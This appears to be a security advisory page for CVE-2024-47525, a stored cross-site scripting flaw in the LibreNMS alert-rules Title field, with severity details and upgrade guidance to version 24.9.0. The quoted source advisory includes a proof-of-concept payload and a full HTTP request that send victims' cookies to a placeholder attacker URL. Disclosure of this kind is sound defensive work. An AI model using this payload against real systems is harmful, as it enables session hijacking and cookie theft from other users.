CVE-2024-47525: Librenms/librenms Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-j2j9-7pr6-xqwv
CVSS 7.5
CWE-79
Published
Advisory Summary

CVE-2024-47525 is a MODERATE (CVSS 7.5) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Librenms/librenms libraries in the Packagist ecosystem. The issue involves librenms has stored cross-site scripting vulnerability in "alert rules" feature. Remediation is available by upgrading affected packages to version 24.9.0.

CVE-2024-47525 at a Glance

CVE Identifier CVE-2024-47525
GHSA Identifier GHSA-j2j9-7pr6-xqwv
Severity MODERATE
CVSS v3.1 Base Score 7.5
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Librenms/librenms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2024-47525

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 24.9.0
Upgrade librenms/librenms to 24.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-47525, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.9.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Rules" feature allows authenticated users to inject arbitrary JavaScript through the "Title" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. ### Details The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the "Title" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads. For example, the following payload can be used: ```test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"``` This payload triggers the XSS when the affected page is loaded, automatically redirecting the user to the attacker's controlled domain with any non-httponly cookies present. The vulnerability stems from the application not sanitizing the value of $rule['name'] before adding it to the $enabled_msg variable. This is evident in the code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405 ### PoC 1. Create a new alert rule in the LibreNMS interface. 2. In the "Title" field, input the following payload: ```test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"``` 3. Save the rule and trigger the alert. 4. Observe that when the page loads, the injected JavaScript executes and redirects the user, sending their non-httponly cookies to the attacker's server. Example Request: ```http POST /ajax_form.php HTTP/1.1 Host: <your_host> X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: <your_XSRF_token> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <your_cookie> _token=<your_token>&device_id=-1&device_name=invalid+hostname&rule_id=17&type=alert-rules&template_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22not_equal%22%2C%22value%22%3A%22test2'%5C%22%22%7D%5D%2C%22valid%22%3Atrue%7D&name=test1''+autofocus+onfocus%3D%22document.location%3D'https%3A%2F%2F<attacker_url>%2Flogger.php%3Fc%3D'%2Bdocument.cookie%22&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=not_equal&builder_rule_0_value_0=test2'%22&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=Test2'%22&override_query=on&adv_query=select+'test3'%22'%3B ``` ### Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.

CVE-2024-47525 Affected Librenms/librenms Versions

1 component(s)
Fixed Versions:
24.9.0
Product / Package Ecosystem Affected Versions Fixed Version
librenms/librenms
Packagist
< 24.9.0
24.9.0

References

Frequently Asked Questions

What is CVE-2024-47525?
CVE-2024-47525 is a security vulnerability in Librenms/librenms involving LibreNMS has Stored Cross-site Scripting vulnerability in "Alert Rules" feature under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Librenms/librenms versions are affected?
Affected versions include releases prior to 24.9.0 across affected packages: librenms/librenms.
What version fixes CVE-2024-47525?
Upgrading to 24.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is librenms/librenms affected?
Yes, librenms/librenms is affected in releases prior to 24.9.0. Upgrade your dependency to 24.9.0 or later.
What is the CVSS score of CVE-2024-47525?
CVE-2024-47525 has a CVSS v3.1 base score of 7.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L.
What CWE is associated with CVE-2024-47525?
CVE-2024-47525 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2024-47525?
Run the dependency tree command: 'inspect dependencies for librenms/librenms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
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